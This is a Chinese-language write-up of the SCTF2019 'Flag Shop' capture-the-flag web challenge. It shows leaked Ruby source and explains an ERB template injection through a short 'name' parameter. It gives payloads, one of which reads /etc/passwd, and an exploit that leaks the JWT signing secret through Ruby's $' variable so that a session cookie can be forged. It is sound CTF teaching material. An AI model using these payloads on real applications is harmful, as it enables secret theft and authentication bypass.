[SCTF2019]Web Writeup

Flag Shop

解题思路

刚打开是这样。界面里有uid、jkl、flag price.点击Buy flag按钮

jkl不够,我们需要有足够的jkl才能买到flag。

点击reset按钮会重置uid、jkl个数,没什么特别的用处。

点击work,注意到jkl会随机增加,但是增加个数在10个以内,因此就算是用脚本跑也要跑很久很久很久很久。所以另找办法。

我们看看网页的源代码:

function work() {
fetch("/work?name=bot&do=bot is working")
.then(()=>window.location.reload());
}

fetch("/api/info",{
redirect: 'manual'
})
.then(function (res) {

if(res.ok){
return res.json()
}
else{
fetch("/api/auth")
reject;
}
})
.then(res=>{
var info = res;
console.log(info);
document.getElementById("uid").innerText = info.uid;
document.getElementById("jkl").innerText = info.jkl;
})
.catch(error => setTimeout(()=>window.location.reload(),500))

可以大致看出来工作流程,先获取信息,失败后请求auth,然后会有个jwt token。再每次work后都会输入生成新的cookie。

让我们看看cookie,再把他丢到jwt.io里解码一下:

因此我们想到,可以在jwt中修改jkl,使它达到能够购买flag需要的数量,再把构造好的cookie替换到题目里,就能成功买到flag了,买成功之后就会返回一个新的cookie,再解码应该就能够得到flag了。

但伪造cookie需要得到SIGNATURE,因此我们得找到源代码才能看出SIGNATURE是怎么来的。

找到源码

扫目录发现有个robots.txt,让我们进去看看

再进/filebak里面去看看,发现是源码,是用ruby写的。

让我们来看关键代码:

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>")看出直接用了ERB模版,并且还将可控参数name直接拼接进去了,以alert的方式回显在页面上。因此我们可以在可控参数name处传入一些构造过的参数。

ERB模版注入

ERB代表嵌入式Ruby,用于在模板中插入Ruby变量,例如HTML和YAML。 ERB是一个Ruby类,它接受文本,并评估和替换ERB标记包围的Ruby代码。它的模版格式为:

<%= 7*7 %>
<%= File.open('/etc/passwd').read %> #查看文件
<%= self.class.name %> #获取self对象的类名
<%= self.methods %> #枚举类的可用方法
<%= self.method(:handle_POST).parameters %> #获取函数所需的具体参数

从以上我们了解到<%=语法可以用来执行Ruby语句,并会尝试将结果转换为字符串,以附在最终的结果文本中。并且此处限定了只能输入7个字符以内。

并且ERB注入跟sql注入等的原理很相似,都是插入的代码被执行了。因此我们这里就可以通过name传入代码,执行结果就会alert出执行结果。例如name=<%=1%>,并且需要先url编码一下,防止特殊字符的影响。

解题

上上上一步说到,我们找源码的原因是要得到伪造cookie所需要的签名。让我们来看看源码中关于cookie的处理代码。

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

可以看出,cookie是需要ENV["SECRET"]作为签名得到的。因此我们如果能得到每次work后的ENV["SECRET"],就可以伪造cookie了!

这段代码的后半部分说明了,在ERB模版渲染以前有一个正则匹配。如果SECRET参数存在的话,就对其进行匹配,并用传入的值与ENV["SECRET"]进行匹配,匹配成功就会输出FLAG。如果我们不传SECRET,这样括号里的匹配就不进行,只进行括号外的 ENV[“SECRET”] 的匹配。

  • ruby全局变量

​ ruby的全局变量以$开头,例如: $x,$y 。全局变量可以在程序的任何地方加以引用。全局变量无需变量声明。引用尚未初始化的全局变量时,其值为nil。并且ruby有内置的全局变量表,在这里

这里既然有匹配,那说明我们就可以用全局变量读出来了,也就是可以用上图的符号来读取匹配前的内容(即ENV["SECRET"]

因此我们可以构造,再进行url编码后传入。

name=<%=$'%>&do=<%=$'%> is working&SECRET=

得到SECRET了,再把他拿到jwt.io里进行编码,并把jkl数量设置为大于flag的购买数量。

再把新的cookie替换到题目中,显示购买成功了。

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end

在关于shop的源码中可以看到,购买成功后,flag将会jwt编码。因此我们只需要把返回的新cookie拿去解码就能得到flag了!

待补充的题

这个比赛的剩下两个题都太难了qaq我看赵师傅的wp都看不懂,先做能够理解一点的题之后再来看这些难题8。

Author: Neorah
Link: https://neorah.me/ctf/SCTF2019/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.